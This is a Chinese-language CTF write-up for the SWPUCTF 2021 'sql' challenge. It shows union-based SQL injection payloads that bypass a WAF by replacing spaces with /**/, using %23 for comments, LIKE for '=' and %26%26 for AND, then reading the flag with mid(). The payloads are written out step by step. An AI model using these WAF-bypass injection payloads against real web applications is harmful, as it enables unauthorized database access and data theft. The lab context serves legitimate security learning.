[SWPUCTF 2021 新生赛]sql

SWPUCTF 2021 新生赛sql wp

输入 1 正常回显:
复制代码
?wllm=1
返回:
Want Me? Cross the Waf
Your Login name:xxx
Your Password:yyy
输入单引号引发报错:
复制代码
?wllm=1'
返回:
Want Me? Cross the Waf
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
group by 测试回显行数:
复制代码
1' group by 3#

触发了 waf :

可能是过滤了空格,也可能是 group by 关键字,还可能是注释符。一个一个测:

输入: ?wllm=1 1 ,触发 waf ,说明空格被过滤,使用 /**/ 替换空格: ?wllm=1/**/1 ,成功回显。

除此之外常被用来替换空格的还有:

复制代码
%20
%09
%0A(%0a)
%0C(%0c)
%0D(%0d)
%0B(%ob)
%A0(%a0)

输入:?wllm=group/**/by ,正常回显,说明该关键字没有被过滤。

使用 /**/ 替换空格,再次用 group by 测试列数:

输入:

复制代码
?wllm=1'/**/group/**/by/**/2#

引发报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

说明 # 被过滤,尝试其他注释符:-- ,--+ ,%23(#的URL编码)。最后只有 %23 可以用:

复制代码
?wllm=1'/**/group/**/by/**/2%23

经过测试,共有 3 列。

select 查询回显位

由于开头的 1 会干扰回显,所以这里去掉1(或者换成负数也行):

复制代码
?wllm='/**/union/**/select/**/1,2,3%23

经过测试,回显位为后两位。

select 查询数据库
复制代码
?wllm='/**/union/**/select/**/1,2,database()%23

数据库名称为:test_db

select 查询表名:
复制代码
?wllm='/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=test_db%23

但是触发了 waf ,一开始我以为是 information_schema 被过滤了,经过测试,是等号被过滤了。

用 like 关键字可以替换等号,比如:table_schema=ctf 可以写成 table_schema like 'ctf' 。

用 like 替换等号查询表名:
复制代码
?wllm='/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

成功回显,LTLT_flag 就是要找的表名。

select 查询列名:
复制代码
?wllm='/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/and/**/table_name/**/like/**/'LTLT_flag'%23

但是被 waf 了,猜测是 and 出问题了。尝试了大小写,&& 替换 and 都不行,最后用 %26%26 成功绕过。

%26 就是 & 的 URL 编码。

用 %26%26 替换 and 查询列名:
复制代码
?wllm='/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/%26%26/**/table_name/**/like/**/'LTLT_flag'%23

成功回显:

select 查询 flag 列的内容:
复制代码
?wllm='/**/union/**/select/**/1,2,flag/**/from/**/LTLT_flag%23

出来了但没完全出来:

这里看了下大佬的 wp ,substr,substring 都被过滤了,说用 mid 函数分段读取。

mid 函数分段读取 flag :

读取第一段:

复制代码
?wllm='/**/union/**/select/**/1,2,mid(flag,1,20)/**/from/**/LTLT_flag%23

读取第二段:

复制代码
?wllm='/**/union/**/select/**/1,2,mid(flag,21,40)/**/from/**/LTLT_flag%23

读取第三段:

复制代码
?wllm='/**/union/**/select/**/1,2,mid(flag,41,60)/**/from/**/LTLT_flag%23

经过拼接,得到了一个完整的 flag 。

相关推荐
Splashtop高性能远程控制软件6 小时前
微软2026年11月补丁星期二解析:1094个 CVE、Outlook 零日 CVE-2026-124194 与修复优先级
microsoft·网络安全·outlook·补丁管理·漏洞管理
星恒随风15 小时前
MySQL 从零入门(五):MySQL 内置函数详解——日期、字符串、数学函数与实战案例
linux·数据库·笔记·sql·mysql
2603_9696948518 小时前
【JavaWeb学习记录】MyBatis核心知识点与实战笔记:从入门到动态SQL
笔记·sql·学习·mysql·mybatis·javaweb·学习方法
数据技术说20 小时前
在 KES AI 数据库上搭一条 NL2SQL 链路:语义、召回、权限各放哪
人工智能·sql·代码规范
Thanks_ks1 天前
HTTPS:浏览器地址栏那把锁的工作原理
http·网络安全·https·tls·加密算法·数字证书·中间人攻击
codeejun1 天前
每日一Go·MySQL-14、慢 SQL 产生原因全解
sql·mysql·golang
新*2 天前
Elasticsearch 7.17 的 SQL 到底能查到什么?一次踩坑记录
后端·sql·elasticsearch·查询
这个DBA有点耶3 天前
库内计算推理:一条SQL背后的算子融合,和外挂方案差了几次网络往返
数据库·人工智能·sql
曾令胜3 天前
云服务器被攻击后分析恶意脚本修复漏洞
网络安全·安全威胁分析
Decay__3 天前
01_SQLServer 体系架构全解 —— 实例进程、关系引擎、SQLOS 与事务日志深入
运维·数据库·sql·mysql·架构